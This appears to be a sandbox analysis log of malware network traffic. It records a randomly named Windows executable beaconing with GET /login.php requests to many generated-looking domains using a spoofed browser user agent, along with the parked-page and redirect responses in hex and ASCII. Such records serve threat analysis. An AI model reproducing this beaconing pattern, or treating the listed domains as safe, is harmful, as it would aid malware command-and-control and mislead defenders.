                                                                                                                                                                                                          Nov 11, 2024 18:13:49.822824955 CET305OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.251158953 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:49 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1094
                                                                                                                                                                                                          x-request-id: 53ac1dfc-324d-468f-9be9-d6ce1f2935fc
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                          set-cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da; expires=Mon, 11 Nov 2024 17:28:50 GMT
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.251180887 CET520INData Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65
                                                                                                                                                                                                          Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZmY0YTM5M2UtMWE2MS00NTQzLTkyYjItOGRkOGNhNjUzNGRhIiwicGFnZV90aW1lIjoxNzMxMzQ1MjMwLCJwYWdlX3VybCI6Imh0dHA6L


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          81192.168.2.65915675.2.71.19980
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.827094078 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.256191015 CET166INHTTP/1.1 308 Permanent Redirect
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Location: https://puzylyp.com/login.php
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:50 GMT
                                                                                                                                                                                                          Content-Length: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          82192.168.2.659157199.191.50.8380
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.839425087 CET281OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: galyqaz.com
                                                                                                                                                                                                          Cookie: vsid=903vr478890781963739088
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433240891 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:50 GMT
                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                          Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                          Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                          Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com")
                                                                                                                                                                                                          X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw==
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Data Raw: 61 39 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: a99a<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}i
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433345079 CET1236INData Raw: 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f
                                                                                                                                                                                                          Data Ascii: f(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433357954 CET1236INData Raw: 65 64 4c 61 6e 67 73 28 29 3b 76 61 72 20 63 3d 5b 5d 3b 76 61 72 20 66 3d 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 3b 76 61 72 20 65 3d 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 76 61 72 20 61 3d 22 6c 61 6e 67 75 61 67 65 73 22 20 69 6e 20
                                                                                                                                                                                                          Data Ascii: edLangs();var c=[];var f=location.hash;var e=location.search;var a="languages" in navigator?navigator.languages:[];if(f.indexOf("cmplang=")!=-1){c.push(f.substr(f.indexOf("cmplang=")+8,2).toUpperCase())}else{if(e.indexOf("cmplang=")!=-1){c.pus
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433372021 CET1236INData Raw: 3d 22 22 3b 69 2b 3d 22 3d 22 3b 76 61 72 20 73 3d 69 2e 6c 65 6e 67 74 68 3b 76 61 72 20 64 3d 6c 6f 63 61 74 69 6f 6e 3b 69 66 28 64 2e 68 61 73 68 2e 69 6e 64 65 78 4f 66 28 69 29 21 3d 2d 31 29 7b 77 3d 64 2e 68 61 73 68 2e 73 75 62 73 74 72
                                                                                                                                                                                                          Data Ascii: ="";i+="=";var s=i.length;var d=location;if(d.hash.indexOf(i)!=-1){w=d.hash.substr(d.hash.indexOf(i)+s,9999)}else{if(d.search.indexOf(i)!=-1){w=d.search.substr(d.search.indexOf(i)+s,9999)}else{return e}}if(w.indexOf("&")!=-1){w=w.substr(0,w.in
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433383942 CET1236INData Raw: 72 72 65 6e 74 53 63 72 69 70 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 7b 75 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 65 6c 73 65 7b 69 66 28 75 2e
                                                                                                                                                                                                          Data Ascii: rrentScript.parentElement){u.currentScript.parentElement.appendChild(j)}else{if(u.body){u.body.appendChild(j)}else{var t=v("body");if(t.length==0){t=v("div")}if(t.length==0){t=v("span")}if(t.length==0){t=v("ins")}if(t.length==0){t=v("script")}
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433398962 CET1236INData Raw: 69 6e 67 3e 30 29 7b 61 2e 73 72 63 3d 22 2f 2f 22 2b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 2b 22 2f 64 65 6c 69 76 65 72 79 2f 65 6d 70 74 79 2e 68 74 6d 6c 22 7d 61 2e 6e 61 6d 65 3d 62 3b 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74
                                                                                                                                                                                                          Data Ascii: ing>0){a.src="//"+window.cmp_cdn+"/delivery/empty.html"}a.name=b;a.setAttribute("title","Intentionally hidden, please ignore");a.setAttribute("role","none");a.setAttribute("tabindex","-1");document.body.appendChild(a)}else{window.setTimeout(wi
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433410883 CET1236INData Raw: 70 75 73 68 28 5b 5d 2e 73 6c 69 63 65 2e 61 70 70 6c 79 28 61 29 29 7d 7d 7d 7d 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 70 70 5f 70 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 67 70 70 56 65 72 73 69 6f 6e 3a 22 31
                                                                                                                                                                                                          Data Ascii: push([].slice.apply(a))}}}}}}};window.cmp_gpp_ping=function(){return{gppVersion:"1.0",cmpStatus:"stub",cmpDisplayStatus:"hidden",supportedAPIs:["tcfca","usnat","usca","usva","usco","usut","usct"],cmpId:31}};window.cmp_gppstub=function(){var a=
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433423996 CET1236INData Raw: 20 63 3d 61 3f 4a 53 4f 4e 2e 70 61 72 73 65 28 64 2e 64 61 74 61 29 3a 64 2e 64 61 74 61 7d 63 61 74 63 68 28 66 29 7b 76 61 72 20 63 3d 6e 75 6c 6c 7d 69 66 28 74 79 70 65 6f 66 28 63 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 63 21 3d 3d 6e 75
                                                                                                                                                                                                          Data Ascii: c=a?JSON.parse(d.data):d.data}catch(f){var c=null}if(typeof(c)==="object"&&c!==null&&"__cmpCall" in c){var b=c.__cmpCall;window.__cmp(b.command,b.parameter,function(h,g){var e={__cmpReturn:{returnValue:h,success:g,callId:b.callId}};d.source.p
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433434963 CET1236INData Raw: 61 5d 3d 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 75 62 3b 77 69 6e 64 6f 77 5b 61 5d 2e 6d 73 67 48 61 6e 64 6c 65 72 3d 77 69 6e 64 6f 77 2e 63 6d 70 5f 6d 73 67 68 61 6e 64 6c 65 72 3b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65
                                                                                                                                                                                                          Data Ascii: a]=window.cmp_stub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,false)}};window.cmp_setGppStub=function(a){if(!(a in window)||(typeof(window[a])!=="function"&&typeof(window[a])!=="object"&&
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.433446884 CET1236INData Raw: 7a 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74
                                                                                                                                                                                                          Data Ascii: z.com/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://galyqaz.com/sk-logabpstat
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.441363096 CET940INData Raw: 2c 75 72 6c 28 22 68 74 74 70 3a 2f 2f 69 31 2e 63 64 6e 2d 69 6d 61 67 65 2e 63 6f 6d 2f 5f 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61
                                                                                                                                                                                                          Data Ascii: ,url("http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i1.cdn-image.co


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          83192.168.2.65915944.221.84.10580
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.986660004 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vocyzit.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345224|1731345181|12|3|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.417131901 CET334INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:50 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345230|1731345181|9|4|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          84192.168.2.6591613.94.10.3480
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.992758989 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lymyxid.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345224|1731345181|12|3|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.418085098 CET334INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:50 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345230|1731345181|9|4|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          85192.168.2.65917318.208.156.24880936C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.726907015 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vonypom.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345224|1731345181|12|3|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.167536974 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:55 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345235|1731345181|11|4|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          86192.168.2.65918175.2.71.19980
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.949146986 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.506236076 CET166INHTTP/1.1 308 Permanent Redirect
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Location: https://puzylyp.com/login.php
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:56 GMT
                                                                                                                                                                                                          Content-Length: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          87192.168.2.659180188.114.97.380
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.967616081 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.381478071 CET972INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HnwvQDbGytbq5CXrtmcwvXRIsFGqGYXi8DgvT6yYwjUlFykHlXIVoztU%2Fluo%2BbIuUvFUWeJAGh4BDD%2FmhF7idBrFGqutLjlhyHX%2F2VrTBNThpMJ5AxRk%2Bt7z12HnAw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fea8c6d97ab96-YYZ
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=11751&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=37&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          88192.168.2.65917944.221.84.10580
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.967902899 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vocyzit.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345224|1731345181|12|3|0
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.378559113 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345241|1731345181|14|4|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.381464958 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345241|1731345181|14|4|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          89192.168.2.65917844.221.84.10580
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.967953920 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qetyfuv.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345224|1731345181|21|2|0
